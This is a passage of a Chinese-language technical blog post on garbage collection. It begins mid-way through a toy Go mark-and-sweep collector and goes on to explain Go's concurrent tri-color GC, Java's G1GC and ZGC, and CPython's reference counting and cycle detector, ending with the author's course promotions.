vm.markObject(child) } } // sweep 释放未标记的对象并重置幸存者的标记。 func (vm *VM) sweep() { alive := []*Object{} for _, obj := range vm.heap { if obj.marked { obj.marked = false // 为下一个 GC 周期重置 alive = append(alive, obj) } else { fmt.Printf(\u0026#34; collected: %s\\n\u0026#34;, obj.name) } } vm.heap = alive } // GC 运行一次完整的 mark-and-sweep 回收。 func (vm *VM) GC() { fmt.Printf(\u0026#34;gc: heap has %d objects\\n\u0026#34;, len(vm.heap)) vm.mark() vm.sweep() fmt.Printf(\u0026#34;gc: %d objects remain\\n\\n\u0026#34;, len(vm.heap)) } func main() { vm := \u0026amp;VM{} a := vm.NewObject(\u0026#34;A\u0026#34;) b := vm.NewObject(\u0026#34;B\u0026#34;) c := vm.NewObject(\u0026#34;C\u0026#34;) _ = vm.NewObject(\u0026#34;D\u0026#34;) // 已分配但从未链接到任何东西 // 构建图: A -\u0026gt; B -\u0026gt; C a.children = append(a.children, b) b.children = append(b.children, c) // 只有 A 是 root vm.roots = append(vm.roots, a) fmt.Println(\u0026#34;=== GC #1: D is unreachable ===\u0026#34;) vm.GC() // 创建循环: C -\u0026gt; A, 然后移除所有 roots c.children = append(c.children, a) vm.roots = nil fmt.Println(\u0026#34;=== GC #2: A-\u0026gt;B-\u0026gt;C-\u0026gt;A cycle, no roots ===\u0026#34;) vm.GC() } 运行结果：\n=== GC #1: D is unreachable === gc: heap has 4 objects collected: D gc: 3 objects remain === GC #2: A-\u0026gt;B-\u0026gt;C-\u0026gt;A cycle, no roots === gc: heap has 3 objects collected: A collected: B collected: C gc: 0 objects remain 第一次回收：A、B 和 C 通过 root A 可达。D 没有任何 root 路径，因此被回收。\n第二次回收：A、B 和 C 形成了一个循环（A-\u0026gt;B-\u0026gt;C-\u0026gt;A），但没有 roots。标记阶段从未访问过它们中的任何一个。所有三个都被清除了。这正是击败引用计数的场景。循环中的每个对象都有非零的引用计数，但没有一个能从 root 到达。\n追踪式 GC 不关心循环。它们只关心从 roots 开始的可达性。\n有一点需要注意：markObject 函数使用了递归，这在深层对象图上会耗尽栈空间。真实的垃圾回收器使用显式的 worklist（工作列表）而不是调用栈。\n现代 GC 实现 上面的玩具收集器为了整个标记和清除过程停止了世界。现代 GC 已经进化到在应用程序持续运行的同时并发完成大部分工作。\nGo: 三色并发标记-清除 (Tri-Color Concurrent Mark-and-Sweep) Go 的垃圾回收器是非分代的、非整理的且并发的。它不按年龄区分对象，也不在内存中移动对象。其重点是保持低停顿时间。\n收集器使用三色抽象（tri-color abstraction）进行并发标记。每个对象处于三种状态之一：\nWhite (白色): 尚未访问。标记结束时仍为白色的任何东西都是垃圾。 Grey (灰色): 已访问，但其子节点尚未全部扫描。遍历的前沿（frontier）。 Black (黑色): 已访问，所有子节点已扫描。确定存活。 收集器开始时将所有对象设为白色，然后将 roots 设为灰色，并处理灰色对象直到不再剩余。所有仍为白色的内容都被清除。\n开始: 所有对象为白色，roots 为灰色 步骤 1: 选取一个灰色对象，扫描其子节点 - 将子节点标为灰色 - 将扫描过的对象标为黑色 步骤 2: 重复直到没有灰色对象剩余 步骤 3: 所有白色对象都是垃圾 示例: Roots: [A] 开始: A(grey) --\u0026gt; B(white) --\u0026gt; D(white) A(grey) --\u0026gt; C(white) 扫描 A: A(black) --\u0026gt; B(grey) --\u0026gt; D(white) A(black) --\u0026gt; C(grey) 扫描 B: A(black) --\u0026gt; B(black) --\u0026gt; D(grey) A(black) --\u0026gt; C(grey) 扫描 C: A(black) --\u0026gt; B(black) --\u0026gt; D(grey) A(black) --\u0026gt; C(black) 扫描 D: A(black) --\u0026gt; B(black) --\u0026gt; D(black) A(black) --\u0026gt; C(black) 结果: 任何剩余的白色对象都是垃圾并被释放 难点在于应用程序在收集器遍历时持续运行并修改指针。这造成了一个需要仔细处理的正确性问题。\n收集器认为黑色对象已完成。一旦对象变黑，收集器就不会再扫描它。它的所有子节点都已被访问并设为灰色。但是，如果应用程序在收集器仍在运行时，将一个指向白色对象的指针写入黑色对象，收集器就有麻烦了。黑色对象已经处理完了。该白色对象也无法从任何灰色对象触达。当标记阶段结束并清除运行时，该白色对象将被释放，即便有一个存活的黑色对象指向它。\n这被称为 tricolor invariant（三色不变性）：黑色对象绝不能直接指向白色对象。如果发生了这种情况，白色对象对收集器是不可见的，会被错误释放。write barrier（写屏障）的存在专门用于在并发标记期间应用程序修改对象图时维护这一不变性。\nGo 通过 hybrid write barrier（混合写屏障，Go 1.8 引入）解决了这个问题。要理解它为什么有效，看看它结合的两种旧屏障会有所帮助。\nDijkstra’s 插入屏障 (1978)：每当一个指针被写入对象时，将新的被引用者设为灰色。如果一个黑色对象存储了对白色对象的引用，该白色对象会在收集器错过它之前变灰。这维护了三色不变性。\n问题在于 goroutine 栈与堆对象不同。编译器在堆指针写入处注入写屏障，例如写入结构体字段或切片元素。栈写入是局部变量赋值，编译器对其分别处理。在每一个局部变量赋值上放屏障会使函数调用和基本操作变得极其昂贵，所以屏障不覆盖它们。这意味着在并发标记期间，goroutine 可以自由地将指向白色对象的指针写入局部变量，而没有屏障触发。收集器不知道发生了这事。\n为了修复这一点，在并发标记结束时，Go 曾经必须停止世界并从头重新扫描每个 goroutine 的整个栈。重新扫描时发现的任何指向白色对象的指针都会变灰，防止它们被错误释放。此步骤的停顿时间随着 goroutine 数量和其栈大小而增加。拥有成千上万个 goroutine 的程序可能会看到数毫秒的 STW 停顿，仅仅是为了这次重新扫描。这是 Go 1.8 之前主要的 STW 停顿来源。\nYuasa’s 删除屏障 (1990) 采取相反的方法：每当一个指针即将被覆盖时，在旧引用消失前将其变灰。这确保了在标记开始时可达的任何东西直到结束都保持可达，即便应用程序在标记期间丢弃了它的引用。缺点是标记期间死亡的一些对象会存活到下一个周期（floating garbage，浮动垃圾），因为屏障保守地让它们活着。\nGo 的混合屏障结合了两者。在堆写入时，它同时应用两种屏障：将旧引用变灰（Yuasa）并将新引用变灰（Dijkstra）。在栈写入时，不运行屏障，但栈上新分配的对象开始时就是黑色而不是白色。这种组合赋予了收集器足够强的不变性，使其在标记结束时永远不需要重新扫描栈。STW 停顿从几十毫秒降到了不到一毫秒。\n// 混合屏障在堆指针写入时的逻辑: // *slot = new_ptr shade(*slot) // 将旧引用变灰 (Yuasa: 不要丢掉之前在那里的内容) shade(new_ptr) // 将新引用变灰 (Dijkstra: 不要错过新到来的内容) *slot = new_ptr 这就是并发垃圾回收的吞吐量成本：标记阶段的每一次堆指针写入都要运行此 shade 逻辑。单次操作开销虽小，但在高分配速率下会累积。权衡的结果是你获得了亚毫秒级的 STW 停顿，而不是几十毫秒。\nGo 仅简短地停止世界以扫描 goroutine 栈并切换写屏障的开关。实际的标记和清除与应用程序并发进行。\nNo compaction (无整理)。 Go 在分配后不移动对象。相反，Go 使用 tcmalloc 风格的分配器，将内存划分为 size classes（大小类），并从每个处理器的缓存（per-processor caches）中分配。对象被分组为固定的大小类（8 字节、16 字节、32 字节，最高达 32 KB）。分配时从空闲列表中选取合适大小的槽。这减少了碎片而无需移动对象，但并不能完全消除碎片。\nNo generational collection (无分代收集)。 Go 团队的理由是，考虑到 Go 典型的带有 goroutine 和并发工作负载的分配模式，分代 GC 增加的复杂性（用于跟踪老到新指针的写屏障、提升逻辑、分代大小调优）带来的收益是不确定的。Go 通过使其并发标记器足够快来补偿，从而使额外的回收频率变得可以接受。\n关键里程碑：\nGo 1.5 (2015)：引入并发 GC。在此之前，Go 使用全停顿收集器，停顿时间达 10-100ms 或更多。此版本使 Go 能够胜任延迟敏感型服务。 Go 1.8 (2017)：混合写屏障。降低了在并发标记期间维护三色不变性的开销。 Go 1.19 (2022)：GOMEMLIMIT。使 Go 程序能在容器环境的内存预算内工作。 GOGC 调节旋钮。 Go 提供了一个主要的调优参数：GOGC。它控制在下一次 GC 触发之前堆可以增长多少。默认值是 100，意味着当堆自上次回收以来翻倍时触发 GC。\nGOGC=100 (默认): GC 后，存活堆 = 500MB 下次 GC 触发点: 500MB * (1 + 100/100) = 1000MB GOGC=50 (更激进): GC 后，存活堆 = 500MB 下次 GC 触发点: 500MB * (1 + 50/100) = 750MB GOGC=200 (较保守): GC 后，存活堆 = 500MB 下次 GC 触发点: 500MB * (1 + 200/100) = 1500MB 更低的 GOGC 意味着更频繁的回收（更低的内存占用，更高的 CPU 开销）。更高的 GOGC 意味着较少的回收（更高的内存占用，更低的 CPU 开销）。\nGo 1.19 增加了 GOMEMLIMIT，这是一个软内存限制。在具有硬性内存预算的容器环境中，GOMEMLIMIT 告诉 GC pacer（步调算法）在内存使用接近限制时变得更加激进。\n亲自尝试：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; ) var longLived []*[1024 * 1024]byte func main() { fmt.Println(\u0026#34;Go version:\u0026#34;, runtime.Version()) for round := 0; round \u0026lt; 50; round++ { // 短寿对象: 分配小对象，让它们死亡 for i := 0; i \u0026lt; 5000; i++ { _ = make([]byte, 1024) } // 长寿对象: 每 10 轮保留一个 if round%10 == 0 { arr := new([1024 * 1024]byte) longLived = append(longLived, arr) } time.Sleep(50 * time.Millisecond) } var stats runtime.MemStats runtime.ReadMemStats(\u0026amp;stats) fmt.Printf(\u0026#34;Total GC cycles: %d\\n\u0026#34;, stats.NumGC) fmt.Printf(\u0026#34;Total STW pause: %v\\n\u0026#34;, time.Duration(stats.PauseTotalNs)) fmt.Printf(\u0026#34;Long-lived objects: %d\\n\u0026#34;, len(longLived)) } 运行并开启 GC 追踪：\nGODEBUG=gctrace=1 go run gcdemo.go 观察输出内容：\ngc 1 @0.011s 1%: 0.044+0.56+0.13 ms clock, 0.62+0.21/0.57/0+1.8 ms cpu, 3-\u0026gt;4-\u0026gt;0 MB, 4 MB goal, 0 MB stacks, 0 MB globals, 14 P 从左到右阅读：\ngc 1: GC 周期编号\n@0.011s: 自程序启动的时间\n1%: 到目前为止 GC 消耗的 CPU 百分比\n0.044+0.56+0.13 ms clock: GC 周期的三个阶段：STW 标记开始 (0.044ms) + 并发标记和扫描 (0.56ms) + STW 标记结束 (0.13ms)。STW 停顿是 clock 字段中的第一个和第三个数字。在此例中，应用程序被冻结的总墙钟时间是 0.044 + 0.13 = 0.174ms。中间的 0.56ms 是并发的：你的应用程序一直在运行。在 Go 中，STW 停顿通常在 1ms 以下，往往远低于 0.1ms。\n0.62+0.21/0.57/0+1.8 ms cpu: CPU 时间细目。格式为：STW-开始 + 辅助/背景/空闲 + STW-结束。每个数字代表：\n0.62ms — STW 标记开始时所有核心的 CPU 总时间。高于墙钟时间 (0.044ms)，因为 Go 会在多个核心上并行化初始栈扫描。 0.21ms — 应用程序 goroutine 执行 mutator assists（赋值器辅助）所花费的 CPU 时间。当某个 goroutine 分配速度超过 GC 处理速度时，它会被“征税”，必须在允许其分配之前自己做一些标记工作。 0.57ms — 专用背景 GC 工作 goroutine 执行并发标记所使用的 CPU 时间。 0 — 空闲 GC 工作者的 CPU 时间（仅在调度器没有其他任务运行时才领取 GC 任务的 goroutine）。此处为零意味着专用工作者处理了所有事情。 1.8ms — STW 标记结束时所有核心的 CPU 总时间。高于墙钟 (0.13ms)，因为多个核心并行工作以排空剩余任务并禁用写屏障。 当多个核心并行工作时，CPU 时间可以超过墙钟时间。并发阶段的 CPU 时间可能少于墙钟时间，因为 GC 与你的应用程序共享核心。\n3-\u0026gt;4-\u0026gt;0 MB: GC 开始时的堆大小、GC 触发点的堆大小、GC 完成后的存活堆大小 4 MB goal: 下次 GC 触发前的目标堆大小（基于 GOGC 和当前存活堆） 0 MB stacks: goroutine 栈使用的内存 0 MB globals: 标记期间扫描的全局变量使用的内存 14 P: 逻辑处理器数量 (GOMAXPROCS) Java: G1GC (Garbage First Collector) G1GC 自 JDK 9 以来一直是 Java 的默认垃圾回收器。它是一个分代的、基于区域（region）的收集器。它进行追踪、标记和整理，但它是增量式进行的，而不是一次性完成。\nRegion layout (区域布局)。 G1 将堆划分为大小相等的区域，通常每个区域为 1MB 到 32MB，取决于堆的大小。每个区域在任何时候扮演四种角色之一：Eden（伊甸园）、Survivor（幸存者）、Old（老年代）或 Humongous（巨型对象，用于超过半个区域大小的对象）。区域的角色可以在不同回收周期之间改变。\nYoung collection (次要 GC)。 Eden 区域填满。G1 停止世界，使用并行多线程标记器标记 Eden 和 Survivor 区域中的存活对象，将幸存者拷贝到新的 Survivor 区域或提升到 Old 区域，并完全丢弃旧的 Eden 区域。这是一个并行的 STW 停顿，但很短，因为年轻代区域较小且年轻对象大多已死。\nMixed collection (混合回收)。 G1 周期性地运行并发标记周期，以找出哪些老年代区域包含的垃圾最多。然后运行混合回收：同时疏散（evacuating）年轻代区域和最具“盈利价值”的老年代区域。这就是“Garbage First”名称的由来。G1 总是优先选取垃圾密度最高的老年代区域，从而在单位停顿时间内实现最大的回收量。\nSATB (Snapshot-At-The-Beginning，起始快照)。 在并发标记期间，应用程序持续运行并修改对象图。G1 使用 SATB 维护正确性。在标记开始时，G1 对哪些对象存活进行逻辑快照。该快照中存活的对象在此周期被视为存活，即使应用程序在标记期间丢弃了它们。写屏障将修改字段的旧值记录到 SATB 队列中。这种做法是保守的（一些垃圾会存活到下个周期），但是正确的。\n并发标记正在运行。应用程序执行： obj.field = null (原本指向 X) 没有 SATB: X 可能没有其他引用，未被标记，在使用中被释放。 有 SATB: 写屏障记录“此处曾有 X”，将 X 标为灰色。安全。 Pause target (停顿目标)。 你可以通过 -XX:MaxGCPauseMillis 配置 G1 的目标最大停顿时间。默认值是 200ms。G1 通过调整区域数量、回收集合大小和时机，尝试将停顿保持在目标范围内。它并不总是能成功，特别是在 Full GC 期间，但它是主要的调优旋钮。\n亲自尝试：\nimport java.util.ArrayList; import java.util.List; public class GCDemo { static List\u0026lt;byte[]\u0026gt; longLived = new ArrayList\u0026lt;\u0026gt;(); public static void main(String[] args) throws InterruptedException { System.out.println(\u0026#34;Starting GC demo...\u0026#34;); for (int round = 0; round \u0026lt; 50; round++) { // 短寿对象：创建并立即丢弃 for (int i = 0; i \u0026lt; 1000; i++) { byte[] tmp = new byte[10 * 1024]; // 每个 10KB } // 长寿对象：保留一些对象以构建老年代 if (round % 5 == 0) { longLived.add(new byte[1024 * 1024]); // 1MB } Thread.sleep(50); } System.out.println(\u0026#34;Done. Long-lived objects: \u0026#34; + longLived.size()); } } 使用 G1GC 日志运行：\n# 编译 javac GCDemo.java # 使用 G1GC (Java 9+ 默认) 并开启 GC 日志 java -Xmx256m \\ -XX:+UseG1GC \\ \u0026#34;-Xlog:gc*:file=gc_g1.log:time,uptime,level,tags\u0026#34; \\ GCDemo # 或者，使用简洁的一行输出 java -Xmx256m -Xlog:gc GCDemo 观察日志：\n[0.005s][info][gc] Using G1 [0.135s][info][gc] GC(0) Pause Young (Normal) (G1 Evacuation Pause) 26M-\u0026gt;3M(256M) 0.644ms [0.812s][info][gc] GC(1) Pause Young (Normal) (G1 Evacuation Pause) 132M-\u0026gt;7M(256M) 0.707ms [1.710s][info][gc] GC(2) Pause Young (Normal) (G1 Evacuation Pause) 165M-\u0026gt;13M(256M) 1.019ms [2.528s][info][gc] GC(3) Pause Young (Normal) (G1 Evacuation Pause) 171M-\u0026gt;19M(256M) 0.964ms 阅读日志：\nUsing G1: 确认 G1GC 是活跃收集器 Pause Young (Normal): 回收 Eden 和 Survivor 区域的次要 GC G1 Evacuation Pause: G1 正在将存活对象从回收区域拷贝（疏散）到新区域 26M-\u0026gt;3M(256M) 0.644ms: 堆之前是 26MB，之后是 3MB，总堆容量 256MB，停顿耗时 0.644ms 在 2.5 秒的运行时中进行了四个 GC 周期，每个周期在 1.1ms 内完成。大多数分配的对象都是短寿的，并在年轻代被回收。 Java: ZGC (Z Garbage Collector) ZGC 自 Java 11 起可用，并在 Java 15 中达到生产就绪状态。扩展了分代收集的 Generational ZGC 在 Java 21 中引入。ZGC 的目标是无论堆大小如何（包括数百 GB 的堆），停顿时间均保持在亚毫秒级。\nG1 在年轻代回收时停顿较短，但随着堆的增长，在并发标记设置和混合回收期间会有更长的停顿。ZGC 的方法不同：它几乎将所有工作（标记、重定位、引用处理）并发进行，将 STW 工作降至最低。\nColored pointers (有色指针)。 ZGC 直接在指针位中编码 GC 元数据。在 64 位平台上，指针宽度为 64 位，但你实际上并不需要所有 64 位来寻址内存。2^42 就能给你 4TB 的可寻址空间，这超出了大多数应用程序的使用范围。这使得每个指针中留有超过 20 位空闲。ZGC 重新利用其中一些空闲位，直接在指针内部存储 GC 状态。\n每个元数据位都有特定用途：\nM0 和 M1 (标记位)： 用于跟踪对象是否已被标记为存活。ZGC 在每个 GC 周期中交替使用 M0 和 M1。在周期 1，收集器对每个可达对象设置 M0。在周期 2，它改用 M1。这样收集器就能区分“本周期标记”和“上个周期标记”，而无需在周期之间清除所有标记位。\nRemap (R，重映射)： 此位跟踪在对象重定位（relocated）后指针是否已更新。在并发重定位期间，ZGC 将对象移动到新地址，但并不立即更新堆中的每一个指针。相反，它保留旧指针，并使 remap 位处于未设置状态。当应用程序加载这些过时指针之一时，load barrier（读屏障/加载屏障）会注意到 remap 位未设置，并对其进行修正。\nFinalizable (F)： 表示该对象具有一个需要在释放前运行的 finalizer。\n巧妙之处在于元数据随指针移动。GC 不需要一个单独的侧表来查找对象的 GC 状态。每个指针都已经携带了它。\nLoad barriers (加载屏障)。 每次应用程序从堆加载引用时，ZGC 都会插入一个加载屏障。屏障检查指针的颜色位，如果它们不处于预期状态，则采取行动。\n以下是实际操作中的情况。假设收集器在并发重定位阶段将一个对象从地址 0×1000 移动到了 0×2000。应用程序仍然持有一个地址为 0×1000 且 remap 位未设置的指针。\n应用程序代码: Object x = obj.field; 实际执行的内容: raw_ptr = load obj.field // raw_ptr = 0x1000, remap bit = 0 if (raw_ptr.color != expected) { // remap bit 为 0, expected 为 1 → 进入 slow path new_addr = forwarding_table[0x1000] // 查找: 对象已移动到 0x2000 raw_ptr = set_address(raw_ptr, 0x2000) raw_ptr = set_remap_bit(raw_ptr) obj.field = raw_ptr // 就地修正指针，以便下次使用 } x = raw_ptr // x 现在指向 0x2000 下次任何线程加载 obj.field 时，remap 位已经设置好了。屏障检查通过 fast path，没有额外工作。过时指针在第一次访问时被惰性修正。\n这是关键机制。与其像 G1 在疏散期间那样让 GC 停止世界以一次性更新所有指向重定位对象的指针，ZGC 让应用程序在遇到指针时逐个修正。代价是每次指针加载都要支付屏障检查的开销，即便没有任何东西被重定位。在实践中，fast path（检查几位）执行代价足够小，与避免 STW 重定位停顿带来的收益相比，开销很小。\nConcurrent relocation (并发重定位)。 G1 停止世界以将存活对象从回收区域中疏散。ZGC 在应用程序运行的同时重定位对象。它能做到这一点是因为加载屏障处理了指针修正。在启动和结束每个阶段（标记开始、标记结束、重定位开始）时有简短的 STW 停顿，但这些通常远低于 1ms。拷贝对象和修正指针的实际工作是并发发生的。\nGenerational ZGC (Java 21+)。 最初的 ZGC 不按年龄划分堆。分代 ZGC 增加了年轻代和老年代，同时保留了亚毫秒级停顿的保证。它更频繁地回收年轻区域（垃圾最多的地方），较少回收老年代区域。加载屏障和有色指针机制被扩展以处理分代写屏障。\n何时使用 ZGC vs G1：\n亲自尝试：\n# 使用 ZGC 运行 java -Xmx256m \\ -XX:+UseZGC \\ \u0026#34;-Xlog:gc*:file=gc_zgc.log:time,uptime,level,tags\u0026#34; \\ GCDemo # 使用分代 ZGC (Java 21+) java -Xmx256m \\ -XX:+UseZGC -XX:+ZGenerational \\ -Xlog:gc \\ GCDemo 观察日志：\n[0.318s] GC(0) Garbage Collection (Warmup) 28M(11%)-\u0026gt;12M(5%) [0.321s] GC(0) Pause Mark Start 0.023ms [0.489s] GC(0) Concurrent Mark 168.123ms [0.491s] GC(0) Pause Mark End 0.019ms [0.492s] GC(0) Concurrent Select Relocation Set 1.234ms [0.502s] GC(0) Concurrent Relocate 10.456ms STW 停顿是标记为“Pause”的行。其他所有内容都是并发的。将此处的停顿持续时间与 G1 的输出进行对比。\nPython: 引用计数加循环 GC CPython（Python 的参考实现）是“追踪式收集器占主导”模式的主要例外。它使用引用计数作为主要机制，并在之上增加了一层用于追踪循环引用的检测器。\nCPython 中的引用计数。\n每个 Python 对象都有一个 ob_refcnt 字段。Python 的 C API 在 Py_INCREF 时增加，在 Py_DECREF 时减少。当计数归零时，对象在 _Py_Dealloc 中被立即释放。这赋予了 Python 确定性的销毁：del 方法和上下文管理器的 exit 调用在最后一个引用掉落的那一刻发生。\nimport sys x = [] print(sys.getrefcount(x)) # 2: 1个来自x，1个来自getrefcount参数本身的临时引用 y = x print(sys.getrefcount(x)) # 3: 1个x, 1个y, 1个getrefcount参数 del y print(sys.getrefcount(x)) # 2: 回到1个x, 1个getrefcount参数 循环引用问题。 仅靠引用计数无法回收循环垃圾。\nimport gc # 创建循环引用 class Node: def __init__(self, name): self.name = name self.ref = None a = Node(\u0026#34;A\u0026#34;) b = Node(\u0026#34;B\u0026#34;) a.ref = b b.ref = a # cycle: A -\u0026gt; B -\u0026gt; A # a 和 b 的计数都 \u0026gt;= 1（由于相互引用）。 # 仅靠引用计数，两者都不会被释放。 del a del b # a 和 b 依然存活！Refcount: A 为 1 (来自 b.ref), B 为 1 (来自 a.ref) # 显式触发循环检测器 collected = gc.collect() print(f\u0026#34;Collected {collected} objects\u0026#34;) # 收集了 4 个对象 (2个node + 2个dict) 引用计数处理了常见情况，但它无法收集循环引用。CPython 的答案是运行在引用计数系统之上的独立循环检测器。其实现在 Modules/gcmodule.c 中。\n循环检测器是一个追踪式收集器，但它并不追踪整个堆。它仅跟踪能够参与循环引用的对象：如列表、字典、集合及用户自定义类实例等容器对象。字符串和整数无法持有对其他对象的引用，因此无需跟踪它们。\n与 Java 的收集器一样，循环检测器使用分代方法。共有三代，编号为 0、1 和 2。思路与我们之前讨论的分代假说相同：大多数对象死得早，所以经常检查年轻对象，少打扰老对象。默认阈值硬编码在 CPython 的 Modules/gcmodule.c 中：\nstruct gc_generation generations[NUM_GENERATIONS] = { /* PyGC_Head, threshold, count */ { {(uintptr_t)_GEN_HEAD(0), (uintptr_t)_GEN_HEAD(0)}, 700, 0}, { {(uintptr_t)_GEN_HEAD(1), (uintptr_t)_GEN_HEAD(1)}, 10, 0}, { {(uintptr_t)_GEN_HEAD(2), (uintptr_t)_GEN_HEAD(2)}, 10, 0}, }; 你可以验证你的运行时实际使用的是什么：\npython3 -c \u0026#34;import gc; print(gc.get_threshold())\u0026#34; # (700, 10, 10) 请注意，某些框架和发行版会在启动时通过 gc.set_threshold() 覆盖这些默认值，因此你的环境可能显示不同的值。\n第 0 代持有新分配的容器对象。当自上次回收以来的新分配数量超过阈值（默认 700）时，回收第 0 代。幸存的对象被提升到第 1 代。在第 0 代被回收 10 次后，第 1 代被回收一次。幸存者移至第 2 代。在第 1 代被回收 10 次后，第 2 代被回收一次。\n效果是第 0 代大约每 700 次分配回收一次，第 1 代大约每 7,000 次，第 2 代大约每 70,000 次。进入第 2 代的长寿对象几乎永远不会被打扰。检测器将其大部分时间花在最年轻的对象上，这些对象最有可能最近变成了垃圾。\n你可以看到这些计数：\nimport gc # 当前各代阈值 print(gc.get_threshold()) # (700, 10, 10) # 当前分配计数: (gen0分配, 自上次gen1回收以来的gen0回收数, 自上次gen2回收以来的gen1回收数) print(gc.get_count()) # 例如 (342, 8, 2) # 强制进行全量回收 gc.collect() # 完全禁用循环检测器 (如果你确定代码中没有循环引用) gc.disable() 当检测器在某一代码代上运行时，它需要找出哪些对象仅被循环引用保持存活。通过一个例子更容易理解算法。\n假设检测器正在查看三个被跟踪的对象：X、Y 和 Z。X 指向 Y 和 Z。Y 指回 X。还有一个局部变量持有对 X 的引用。\n步骤 1：拷贝引用计数。X=2, Y=1, Z=1。\n步骤 2：减去内部引用。Y 指向 X，所以从 X 的副本中减 1 (X 从 2 变为 1)。X 指向 Y，所以从 Y 的副本中减 1 (Y 从 1 变为 0)。X 指向 Z，所以从 Z 的副本中减 1 (Z 从 1 变为 0)。\n步骤 3：检查剩余部分。X 的调整后计数为 1。被跟踪集合之外的某些东西（局部变量）仍然指向它。X 存活。Y 和 Z 虽然调整后计数为 0，但它们可以从 X 到达，因此它们也幸存下来。\n现在想象局部变量消失了。X 的引用计数掉到 1 (只有 Y 指向它)。运行相同算法：拷贝 X=1, Y=1, Z=1。减去内部引用：X 变为 0, Y 变为 0, Z 变为 0。每个调整后的计数都是零。被跟踪集合之外没有任何东西指向它们。它们仅因彼此而存在。三者都是垃圾。\n这就是核心思想。算法寻找那些存在的唯一理由是同一集合中其他对象的目标。\n有一个边缘案例困扰了多年：finalizers（终结器）。\n终结器是运行时在对象被销毁前调用的方法，给予其清理外部资源（如文件句柄或网络连接）的机会。在 Python 中，这就是 del 方法。\n假设 A 和 B 处于循环中，且两者都有 del 方法。检测器知道它们是垃圾，但要释放它们，它需要打破循环。问题是：哪个 del 先运行？如果你先运行 A 的终结器，而它尝试使用 B，但 B 已经正在被销毁，你就会崩溃。如果你先运行 B 的，而它使用 A，同样的问题。没有安全的顺序。\n在 Python 3.4 之前，CPython 直接放弃处理这些对象。它将它们放入名为 gc.garbage 的列表中，且永远不释放它们。如果你的代码创建了带有 del 的循环引用，你就会有一个静默的内存泄漏。PEP 442 通过在打破任何引用之前调用终结器修复了这个问题。当 A 和 B 的 del 运行时，两者都保持完整。只有在所有终结器执行完毕后，检测器才会打破循环并释放对象。\n关于 CPython 的内存模型还有一件事值得了解。每当 Python 执行类似 x = some_object 的操作时，它会增加 some_object 的引用计数（C 语言中的 Py_INCREF）。每当变量超出作用域时，它减少计数 (Py_DECREF)。在 C 中这些是普通的整数操作：refcount += 1, refcount -= 1。没有锁，没有原子指令。\n在多线程程序中，这是一个问题。两个线程可能同时增加同一个对象的引用计数。如果没有同步，一个增加操作会丢失（经典的竞态条件），之后该对象可能会在有人仍在使用时被释放。\nGIL (全局解释器锁) 防止了这种情况。一次只有一个线程执行 Python 字节码，因此两个线程永远不会同时修改同一个引用计数。GIL 免费使所有引用计数操作变得安全，而无需任何原子指令。\n这也是移除 GIL 如此困难的原因。如果拿掉它，整个代码库中的每一个 Py_INCREF 和 Py_DECREF 都需要变成原子操作。原子操作比普通整数增量要昂贵得多。Python 3.13 开始附带实验性的 free-threaded 模式，它使用 biased reference counting（偏向引用计数）来降低这种成本：创建对象的线程可以对引用计数进行廉价的非原子更新，只有访问该对象的其他线程才支付原子操作的代价。\n映射回 Wilson：全景图 每一种现代垃圾回收器都可以映射回 Wilson 在 1992 年描述的两个家族。它们之间的区别在于关于如何最小化停顿、处理并发以及高效管理内存的工程决策。\n从这一对比中可以观察到几点：\nWilson 的追踪式家族在服务器运行时占据主导地位。 引用计数用于 Swift、Python 和 Rust 的 Arc，但对于具有高分配速率的托管运行时，追踪式收集器是标准做法。循环引用问题无论如何都需要补充追踪步骤，这增加了复杂性，且无法消除每次修改时的引用计数开销。\n分代收集除 Go 以外随处可见。 Java 重度利用了分代假说。Python 的循环检测器使用了三代。Go 最初选择不使用分代收集，因为跨代指针写屏障的开销对 Go 的典型工作负载来说不划算。这种情况可能正在改变：最近的 Go 版本中已经开发了实验性的分代支持。\nCompaction (整理) vs No compaction 是一个真正的设计分歧点。 Java 收集器进行整理，这允许 bump-pointer 分配（非常快）并消除碎片。Go 不整理，这意味着它永远不需要更新指向已移动对象的指针（更简单的写屏障，无需读屏障以保证正确性）。Go 通过大小类分配器（size-class allocator）来补偿。这是经典的 Wilson 权衡：拷贝和整理收集器以内存开销和指针更新成本换取分配速度和碎片消除。\nZGC 的有色指针是 Wilson 指针标记 (pointer-tagging) 思想的现代实现。 Wilson 提到过在指针中使用位来存储 GC 元数据。ZGC 将此进一步发展，将标记状态、重映射状态和终结状态直接嵌入 64 位指针。在每次指针加载时检查这些位的加载屏障是 ZGC 为亚毫秒级停顿支付的代价。\n基本问题从未改变。 从 roots 开始追踪，标记存活内容，回收其余部分。自 1960 年以来的所有发展都是对 McCarthy 原始洞察的工程改进。\n参考资料 McCarthy, J. (1960). Recursive functions of symbolic expressions and their computation by machine, Part I Wilson, P. R. (1992). Uniprocessor Garbage Collection Techniques. IWMM ‘92 A Guide to the Go Garbage Collector Getting to Go: The Journey of Go’s Garbage Collector Proposal: Eliminate STW stack re-scanning – Austin Clements (2016) Java Garbage Collection: The G1 Garbage Collector ZGC: The Z Garbage Collector – JEP 333 Generational ZGC – JEP 439 PEP 442: Safe object finalization 你的“停顿”时刻\nGC 的艺术在于平衡。在你的开发生涯中，是否遇到过因为 GC 停顿导致的生产事故？你是倾向于 Go 的极致低延迟，还是 Java G1GC 的高吞吐？\n欢迎在评论区分享你的调优经历或吐槽！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 